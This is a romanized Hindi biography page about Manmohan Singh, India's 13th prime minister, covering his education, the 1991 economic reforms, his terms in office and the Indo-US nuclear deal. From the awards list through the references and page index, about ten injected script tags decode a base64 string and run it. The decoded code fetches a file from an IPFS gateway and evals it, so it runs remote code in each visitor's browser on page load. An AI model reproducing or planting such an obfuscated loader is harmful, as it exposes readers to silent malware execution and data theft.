मनमोहन सिंह
manamohan sianh
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| poora nam | d aau. manamohan sianh |
| janm | 26 sitanbar, 1932 |
| janm bhoomi | panjab, pakistan |
| abhibhavak | shri gurumukh sianh aur shrimati amrit kaur |
| pati/patni | gurasharan kaur |
| santan | tin betiyaan |
| nagarikata | bharatiy |
| parti | bharatiy rashtriy kaangres |
| pad | bharat ke 13vean pradhanamantri |
| kary kal | 22 mee, 2004 se 26 mee, 2014 |
| shiksha | bi.e. (aaunars), em.e. (ik aaun aaumiks), pi. ech. di., di.phil. |
| vidyalay | panjab vishvavidyalay, kaimbrij vishvavidyalay, naphild k aaulej (aauksaford yoonivarsiti) |
| bhasha | hiandi, aangrezi |
| puraskar-upadhi | 'padm vibhooshan', javaharalal neharoo puraskar, kaimbrij vishvavidyalay ka aidam smith puraskar |
| rachanaean | iandiyaz eksaport treands eand prospekts ph aaur selph sasteand groth |
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manamohan sianh (aangrezi: Manmohan Singh, janm: 26 sitanbar, 1932) bharat ke 13vean pradhanamantri the. manamohan sianh pradhanamantri ki kursi par baithane vale pahale sikh haian. manamohan sianh ki apane kushal aur eemanadar chhavi ke karan sabhi rajanitik daloan mean achchhi sakh hai. jab kaangres aur usake sahayogiyoan ko 2004 ke chunav ke bad bahumat mila to manamohan sianh ko kaangres adhyaksh soniya gaandhi ki ichchha se pradhanamantri chuna gaya tha.
jivan parichay
bharat ke pradhanamantri manamohan sianh ka janm pakistan mean 26 sitanbar sanh 1932 ee. ko 'gah' namak gaanv mean hua tha. gah ab pakistan ke panjab soobe mean sthit hai. unaki mata ka nam amrit kaur aur pita ka nam gurumukh sianh tha. desh ke vibhajan ke bad sianh ka parivar bharat chala aya. manamohan sianh ek kushal rajaneta ke sath-sath ek achchhe vidvan, arthashastri aur vicharak bhi haian. manamohan sianh ki patni ka nam gurasharan kaur hai. manamohan sianh ki tin betiyaan haian. manamohan sianh mean chatur evan buddhimani ke gun haian. manamohan sianh ne apani buddhimani se kee uchch pad ki garima ko banae rakha.[1] manamohan sianh lokasabha chunav 2009 mean mili jit ke bad javaharalal neharoo ke bad bharat ke pahale aise pradhanamantri ban gane jinako saphalatapoorvak paanch varshoan ka karyakal poora karane ke bad lagatar pradhanamantri banane ka doosari bar avasar mila. 21 joon 1991 se 16 mee 1996 tak manamohan sianh ne narasianh rav ke pradhanamantritv kal mean vitt mantri ke roop mean bhi kary kiya. manamohan sianh ne vitt mantri ke roop mean bharat mean arthik sudharoan ki shuruat ki. 1982 ke bad sudi arab ki yatra karane vale manamohan sianh pahale pradhanamantri bane.
shiksha
manamohan sianh ne sanh 1952 ee. mean panjab vishvavidyalay, chandigadh se bi.e. (aaunars) kiya aur avval rahe the. sanh 1954 mean manamohan sianh ne isi yoonivarsiti se em. e. ik aaun aaumiks se kiya aur phir avval rahe. manamohan sianh isake bad kaimbrij vishvavidyalay gaye. jahaan se unhoanne pi. ech. di. ki. manamohan sianh ko sanh 1955 aur 1957 mean kaianbrij ke seant j aauns k aaulej mean utkrisht pradarshan ke lie 'raits puraskar' se sammanit kiya gaya. manamohan sianh ne 'naphild k aaulej' (aauksaford yoonivarsiti) se di. phil. pas kiya. unaki pustak 'iandiyaz eksaport treands eand prospekts ph aaur selph sasteand groth' bharat ke antarmukhi vyapar niti ki pahali aur satik alochana mani jati hai.
vyavasayik jivan
[[chitr:Manmohan-Singh-Sonia-Gandhi.jpg|left|thumb|250px|d aau. manamohan sianh aur soniya gaandhi]] manamohan sianh ko panjab vishvavidyalay, chandigadh ne arthashastr vibhag mean vyakhyata niyukt kiya. phir 14 sitambar, 1958 mean inaka vivah gurasharan kaur ke sath sampann hua. inaki tin putriyaan haian. panjab vishvavidyalay mean inaka saphal adhyapan jari raha aur yah profesar ke pad par pahuanch ge. adhyapan kaushal ke karan inaka samman kafi tha. inhoanne do varsh tak 'dilli skool aauf ikon aaumiks' mean bhi adhyapan kary kiya. vah dilli vishvavidyalay mean 1976 mean manad pradhyapak bhi bane. is samay tak d aauktar manamohan sianh ek arthashastri ke roop mean kafi prasiddh ho chuke the. videsh mean bhi inaka samman tha. vah arthashastr par vyakhyan dene ke lie videshoan mean bhi bulae ge. inaki pratibha ko iandira gaandhi ne sammanit kiya aur inhean 'rijarv baiank aauf iandiya' ka gavarnar banaya gaya. yah pad sambhalane ke lie vyakti ko aantarrashtriy baiankiang ki janakari hone ke atirikt mudra vinimay ka bhi jnan avashyak hota hai. unhoanne janavari 1985 tak uparokt pad par rahakar prashasanik nipunata ka parichay diya.
rajanitik jivan
1985 mean rajiv gaandhi ke shasan kal mean manamohan sianh ko 'yojana ayog' ka upadhyaksh niyukt kiya gaya. is pad par unhoanne nirantar paanch varshoan tak kary kiya, jabaki 1990 mean yah pradhanamantri ke arthik salahakar banae ge. gair rajanitijn vyakti hote hue bhi d aau. manamohan sianh ko rajanitijn pasand karate the. kaangres ne yah mahasoos kar liya tha ki manamohan sianh behad pratibhashali haian, at: unaki pratibha ka labh desh ko prapt karana chahie. yahi karan hai ki jab pi. vi. narasimha rav pradhanamantri bane to unhoanne d aau. manamohan sianh ko 1991 mean apane mantrimandal mean sammilit karate hue vitt mantralay ka svatantr prabhar sauanp diya. is samay d aau. manamohan sianh n to lokasabha ke sadasy the aur n hi rajyasabha ke. lekin sanvaidhanik vyavastha ke anusar sarakar ke mantri ko sansad ka sadasy hona avashyak hota hai. isalie unhean 1991 mean asam se rajyasabha ke lie chuna gaya. jabaki yah moolat: panjab ke nivasi haian. lekin yah paripati isake pahale bhi prachalan mean thi. rajyasabha ke kee sadasy un rajyoan se nahian haian, jahaan unaka mool nivas hai. thumb|220px|left|d aau. manamohan sianh pi. vi. narasimha rav ne ek hire ko pahachana tha, jisaka nam manamohan sianh tha. manamohan sianh ne bhi unhean nirash nahian kiya. unhoanne arthik udarikaran ko upachar ke roop mean prastut kiya aur bharatiy arthavyavastha ko vishv bazar ke sath jo d diya. d aau. manamohan sianh ne ayat aur niryat ko bhi saral banaya. laiseans evan paramit guzare zamane ki chiz ho gee. niji pooanji ko utsahit karake rugn evan ghate mean chalane vale sarvajanik upakramoan hetu alag se nitiyaan vikasit kian. pandit javahar lal neharoo ne sarakari samajavad ka jo svapn dekha tha, use d aau. manamohan sianh ne niji udyogoan dvara sakar kiya. nee arthavyavastha jab ghutanoan par chal rahi thi, tab pi. vi. narasimha rav ko katu alochana ka shikar hona p da. vipaksh unhean ne arthik prayog se savadhan kar raha tha. lekin shri rav ne manamohan sianh par poora yaqin rakha. matr do varsh bad hi alochakoan ke muanh band ho ge aur unaki aankhean phail geean. udarikaran ke behatarin parinam bharatiy arthavyavastha mean nazar ane lage the. yahi karan hai ki varsh 2002 mean manamohan sianh ko 'sarvashreshth saansad' ki upadhi bhi pradan ki gee. is prakar ek gair rajanitijn vyakti jo arthashastr ka profesar tha, ka bharatiy rajaniti mean pravesh hua taki desh ki big di arthavyavastha ko patari par laya ja sake.
pradhanamantri pad par
manamohan sianh 72 varsh ki umr mean pradhanamantri banae ge. inhoanne svapn mean bhi yah kalpana nahian ki thi ki ve desh ke pradhanamantri ban sakate haian. vastut: akhil bharatiy kaangres adhyaksh soniya gaandhi ne vipaksh ka virodh dekhate hue svayan pradhanamantri banane se iankar karake manamohan sianh ko bharatiy pradhanamantri ke roop mean anumodit kiya tha. d aau. manamohan sianh ne 22 mee, 2004 se pradhanamantri ka karyakal arambh kiya, jo aprail 2009 mean saphalata ke sath poorn hua. isake pashchath lokasabha ke chunav hue aur kaangres pun: vijayi huee. is karan manamohan sianh dobara pradhanamantri pad par asin hue. yadyapi pradhanamantri manamohan sianh apane svasthy ka kafi dhyan rakhate haian tathapi do bar inaki baeepas sarjari huee hai. doosari bar faravari 2009 mean visheshajn shaly chikitsakoan ki tim ne ems mean inaki sarjari ki hai. ab yah svasth haian aur march 2009 se pradhanamantri karyalay ke karyoan ko poori oorja ke sath dekh rahe haian. vah 1 march, 2009 ko rootin chaikap ke lie 'ems' ge aur unhean poorn roop se svasth paya gaya. pradhanamantri ke roop mean d aau. manamohan sianh baithakoan, goshthiyoan aur sammelanoan mean hissa lete rahe. thumb|250px|d aau. manamohan sianh pradhanamantri d aau. manamohan sianh ne vittamantri ke roop mean pi. chidambaram ko arthavyavastha ka dayitv sauanpa tha, jise unhoanne kushalata ke sath nibhaya. lekin 2009 ki vishvavyapi arthik mandi ka prabhav bharat mean bhi dekhane ko mila. parantu bharat ki baiankiang vyavastha ka adhar mazaboot hone ke karan use utana nuqasan nahian uthana p da, jitana amerika aur any deshoan ko uthana p da hai. vishv star ki mandi ki mar ne vahaan ke kee baiankoan tatha udyogoan ko bilkul barbad kar diya. 26 navambar, 2008 ko desh ki arthik rajadhani mumbee par pakistan dvara prayojit atankiyoan ne hamala kiya. dil dahala dene vale us hamale ne desh ko hilakar rakh diya tha. tab manamohan sianh ne kendriy grih mantri shivaraj patil ko hatakar pi. chidambaram ko grih mantralay ki zimmedari sauanpi aur pranab mukharji ko naya vitt mantri bana diya. is prakar manamohan sianh samayik aur dooradarshitapoorn faisale apane karyakal ke dauran lete rahe haian.
any pad
manamohan sianh pahale panjab vishvavidyalay aur bad mean 'dilli skool aauf ik aaun aaumiks' mean prophesar ke pad par the. 1971 mean manamohan sianh bharat sarakar ki 'k aaumars ministri' mean arthik salahakar ke taur par shamil hue the. 1972 mean manamohan sianh vitt mantralay mean chiph ik aaun aaumik adavaizar ban ge. any jin padoan par vah rahe, ve haian– vitt mantralay mean sachiv, yojana ayog ke upadhyaksh, bharatiy rizarv baiank ke gavarnar, pradhanamantri ke salahakar aur vishvavidyalay anudan ayog ke adhyaksh. manamohan sianh 1991 se rajyasabha ke sadasy haian.[2]
upalabdhiyaan evan yogadan
[[chitr:Manmohan-gursharan.jpg|thumb|d aau. manamohan sianh apani patni ke gurasharan kaur ke sath (sabhar- autaluk)]] d aau. manamohan sianh ne desh ke chahuanmukhi vikas ke lie anekanek kshetroan ko sparsh kiya hai. unhoanne desh ke havaee addoan mean vaanchhit sudhar lane ke lie unhean niji hathoan mean sauanpane ka faisala kiya. isake lie ek paradarshi niti ke aantargat un kampaniyoan ko uttaradayitv sauanpa gaya jo khuli boli lagakar use nibhane mean prastut huee. yadyapi isaka vyapak virodh bhi kiya gaya, lekin manamohan sianh ne virodhoan ko darakinar karate hue dilli evan mumbee ke havaee addoan ke vikas ki yojana niji hathoan mean sauanp di. isake alava pradhanamantri manamohan sianh ne nirantar ghate mean chal rahe sarvajanik upakramoan ki sankhya ko bhi simit karane ka kary kiya. desh ki arthavyavastha par bojh bane sarvajanik upakramoan ka arthik upachar karane se ab ve munafe ki or agrasar haian. soochana takanik aur doorasanchar ke kshetr mean bhi d aau. manamohan sianh ki dooragami nitiyoan ke parinam kafi sarthak rahe haian. yadyapi 2008 ki arthik mandi ka asar avashy hua hai, parantu is kshetr mean videshi nivesh duguna ho gaya hai. is prakar soochana takanik evan doorasanchar ke kshetr mean bharat ki sthiti vikasit deshoan ke samakaksh ho chuki hai.
krishi sudhar
bharat ek krishi pradhan desh hai. manamohan sianh ne bharatiy udyogoan ke sath krishi ki dasha ko bhi unnat karane ka prayas kiya. desh ki sianchaee vyavastha mean apekshit sudhar ki zaroorat hai, is karan manovaanchhit unnati nahian huee, lekin kisanoan ke lie fasaloan ka samarthit mooly badhaya gaya, taki unaka jivan star sudhar sake. yadyapi maharashtr mean kisanoan ke dvara ki gee atmahatyaean desh ki krishi vyavastha ko chaupat batati haian.
gaanvoan mean rozagar
faravari 2006 mean gaanvoan mean rozagar yojana ka shriganesh haidarabad se kiya gaya. gaanvoan mean rozagar ki bhishan samasya hai. is karan 'gramin rozagar garanti karyakram' ke aantargat desh ke pratyek gramin berozagar ko ek varsh mean 100 din ka rozagar pradan karane ka karyakram banaya gaya hai. lekin rajy sarakaroan ki yah zimmedari hai ki kendr dvara pradan kie ja rahe dhan ka nivesh is yojana mean kushalata ke sath karake karyakram ko saphal banaean. is prakar samajik sarokar ki yojanaoan ko prashasanik star par lagoo kiya ja sakata hai. yahaan is bat ka dhyan rakha jana chahie ki is yojana se adhikadhik graminoan ko fayada ho. is yojana ne ab tak behad saphalata ke sath nirdharit lakshy prapt kiya hai. vipaksh ne ise lokalubhavani yojana bataee jo chunav ko dhyan mean rakhakar taiyar ki gee thi. [[chitr:Daman.jpg|thumb|left| sarvoday ashram mean bhraman karatian manamohan sianh ki putri shrimati daman sianh (baean se pratham)]]
paryatan udyog mean sudhar
isi prakar videshi paryatan udyog mean bhi bhari sudhar hua hai. videshi paryatak bharat ki or bhari tadad mean akrisht ho rahe haian. bharat ke lie vija prapt karane vale logoan ki lambi qatarean haian, yadyapi 26 navambar, 2008 ke hamale ke bad inamean tho di kami avashy aee hai. isi tarah bharat ki arthavyavastha ko rozagaronmukhi banaya gaya hai. pradhanamantri manamohan sianh ke karyakal mean lakhoan vyaktiyoan ko rozagar prapt hua hai. yadyapi deshavyapi berozagari ko dekhate hue is disha mean kafi prayas karane ki avashyakata hai tathapi niji kshetroan ko utsahit karane ke parinam behatar rahe haian. pahale vyakti sarakari sevaoan ke lie qatar mean tha, lekin ab baiankoan dvara rozagaraparak rrin pradan kie ja rahe haian. isase vyakti mean apana rozagar sthapit karane ki ichchha shakti ka pradurbhav hua hai. sakal rashtriy ay evan prati vyakti ay ke vartaman aank de bhi isi sthiti ko pradarshit karate haian. samajik sarokar ke kalyanakari karyoan ki disha mean manamohan sarakar ne pragatishil qadam uthae haian. dalit evan adivasi chhatroan ko shiksha ki or prerit karane ke lie vibhinn chhatravrittiyaan pradan ki jane lagi haian. in par 20 karo d rupaye varshik vyay ka pravadhan kiya gaya hai.
videsh niti mean sudhar
manamohan sarakar ne apani videsh niti mean vyapak sudhar karate hue sabhi pashchimi deshoan ke sath madhur sambandh sthapit kie haian. udaravadi arthik niti ke karan pashchimi deshoan ne bhi bharat ke sath sambandhoan mean sudhar ki avashyakata ko mahasoos kiya hai. sabase achchhi bat inaki videsh niti ki rahi hai. amerika aur roos se saman star par mitrata ho gee hai. eeran evan bharat ke madhy petroliyam paip lain bichhane ki disha mean bhi kary kiya ja raha hai. pakistan ke sath rel tatha bas seva shuroo ho chuki hai.
paramanu samajhauta
[[chitr:Abdul-Kalam-geoge-bush-manmohan-singh.jpg|thumb|350px|gurasharan kaur (baean se pratham), poorv pradhanamantri manamohan sianh (baean se doosare), amerika ke poorv rashtrapati j aaurj bush (madhy), poorv bharatiy rashtrapati abdul kalam (daean se doosare) aur l aaura bush (daean se pratham)]]
2 march, 2006 ko bharat ne paramanu shakti ke sambandh mean amerika ke sath rashtrapati j aaurj bush ke dilli agaman par samajhauta kiya. rajanitijnoan ko is bat ki ashanka thi ki paramanu samajhauta shayad nahian ho pae. vipaksh is samajhaute ke sakht khilaf tha. lekin manamohan sianh ko maloom tha ki oorja sansadhan ke kshetr mean yah samajhauta kiya jana bharat ke hit mean hoga. ameriki rashtrapati j aaurj bush ne isaka masauda tay hone ke bad kaha ki donoan deshoan ki sarakaroan ka is samajhaute ke lie taiyar hona kafi kathin kary tha. lekin yah samajhauta bharat aur amerika donoan ke lie kafi avashyak tha. patrakar sammelan ko sambodhit karate hue ameriki neta j aaurj bush ne pradhanamantri d aau. manamohan sianh ki kafi prashansa ki. isase yah spasht ho jata hai ki bharat ke prati ameriki ke rukh mean kafi badalav aya. isake pahale paramanu samajhauta hone mean yah gatirodh tha ki amerika bharatiy paramanu sanyantroan par nigarani karane ka kary aantarrashtriy paramanu oorja ejeansi ke supurd karana chahata tha, jabaki bharatavasi is shart ke lie taiyar nahian the. lekin donoan deshoan ne madhy marg vikasit karate hue samajhauta kiya. is madhyamargi samajhaute ke anusar bharat ke 22 paramanu sanyantroan mean se 14 paramanu sanyantr nigarani mean hoange aur 8 sainy paramanu sanyantr usase mukt raheange. bharat ka svadeshi paramanu riyektar plaant bhi aantarrashtriy nigarani ejeansi se mukt rakha gaya hai. is prakar bharat vaidhanik roop se paramanu sampann deshoan ki soochi mean a gaya hai. pakistan ne bhi is prakar ke samajhaute ki peshaqash amerika se ki thi, lekin amerika ne iankar kar diya. zahir hai ki amerika bharat ko ek shantipriy desh manata hai.
is samajhaute ke praroop ko 'vhait haus' aur bharatiy sansad ki svikriti milana avashyak tha. is dauran manamohan sianh ne apana man bana liya tha ki sansad mean praroop ko svikriti ke lie pesh kiya jaega. lekin yoo. pi. e. mean sammilit vamadaloan ne yah ghoshana kar di ki yadi aisa prayatn kiya gaya to ve sarakar se samarthan vapas le leange. manamohan sianh ke samane yah b di samasya thi. yadi paramanu samajhauta kiya jata to sarakar gir sakati thi. is dauran vhait haus ki sinet ne samajhaute ko hari jhandi pradan kar di. lekin manamohan sarakar ke samane visham sthiti thi.
vamadaloan ko samajhane ke lie vyapak prayas kie ge lekin ve apane irade se tas se mas nahian hue. tab manamohan sianh ne ghoshana ki ki samajhaute ke praroop ko sansad mean svikriti ke lie avashy pesh kiya jaega aur unhean yah paravah nahian ki is koshish mean unaki sarakar gir jaegi. lekin vamadaloan ne isake bad bhi sakaratmak sanket nahian die. manamohan sianh chahate the ki samajhaute ko sansad ki svikriti prapt ho jae, taki bharat paramanu oorja ke madhyam se vikas ke path par agrasar ho sake. aisi sthiti mean pradhanamantri manamohan sianh ne mulayam sianh yadav se bat ki aur unaki samajavadi parti apana samarthan dene ko taiyar ho gee. tab vamadaloan ne samarthan vapas le liya, lekin samajavadi parti ki sahayata se sansad mean paramanu prastav parit ho gaya. is prakar apani dridh ichchha shakti ke bal par manamohan sianh ne ek aitihasik saphalata arjit kar li. is sambandh mean bharat ne yooreniyam prapti ke lie roos aur fraans sarakar se bhi bat ki. ab bharat ko yooreniyam ki koee kami nahian aegi.
mahattvapoorn p dav
| varsh | vivaran |
|---|---|
| 1957 se 1965 | chandigadh sthit panjab vishvavidyalay mean adhyapak |
| 1969-1971 | dilli skool aauf ikon aaumiks mean antarrashtriy vyapar ke profesar |
| 1976 | dilli ke javaharalal neharoo vishvavidyalay mean manad profesar |
| 1982 se 1985 | bharatiy rizarv baiank ke gavarnar |
| 1985 se 1987 | yojana ayog ke upadhyaksh |
| 1990 se 1991 | bharatiy pradhanamantri ke arthik salahakar |
| 1991 | narasianharav ke netritv vali kaangres sarakar mean vittamantri |
| 1991 | asam se rajyasabha ke sadasy |
| 1995 | doosari bar rajyasabha sadasy |
| 1996 | dilli skool aauf ikon aaumiks mean manad profesar |
| 1999 | dakshin dilli se lokasabha ka chunav l da lekin har gaye |
| 2001 | tisari bar rajy sabha sadasy aur sadan mean vipaksh ke neta |
| 2004 | bharat ke pradhanamantri |
| 2014 | bharat ke pradhanamantri pad par do karyakal (10 varsh) poorn karane ke bad istipha. |
isake atirikt unhoanne antarrashtriy mudra kosh aur eshiyaee vikas baiank ke liye bhi kafi mahattvapoorn kam kiya hai.
puraskar
d aau. manamohan sianh ko bharat ke sarvajanik jivan mean bahut se puraskaroan aur sammanoan se navaza gaya hai. inamean pramukh puraskar haian-
- 1987 mean manamohan sianh ko 'padm vibhooshan' se sammanit
- 1995 mean iandiyan saians kaangres ka 'javaharalal neharoo puraskar',
- 1993 aur 1994 ka 'eshiya mani avard ph aaur phainains ministar aauf d iyar'
- 1994 ka yooro mani 'avard ph aaur d phaineans ministar aauf d iyar'
- 1956 mean kaimbrij vishvavidyalay ka 'aidam smith puraskar'
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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
tika tippani aur sandarbh
- ↑ manamohan sianh: pun: pad pana mushkil (hindi) (ech.ti.em) vebaduniya. abhigaman tithi: 22 sitanbar, 2010.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ manamohan sianh (hindi) navabharat taims. abhigaman tithi: 22 sitanbar, 2010.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
bahari k diyaan
sanbandhit lekh
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
varnamala kramanusar lekh khoj
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>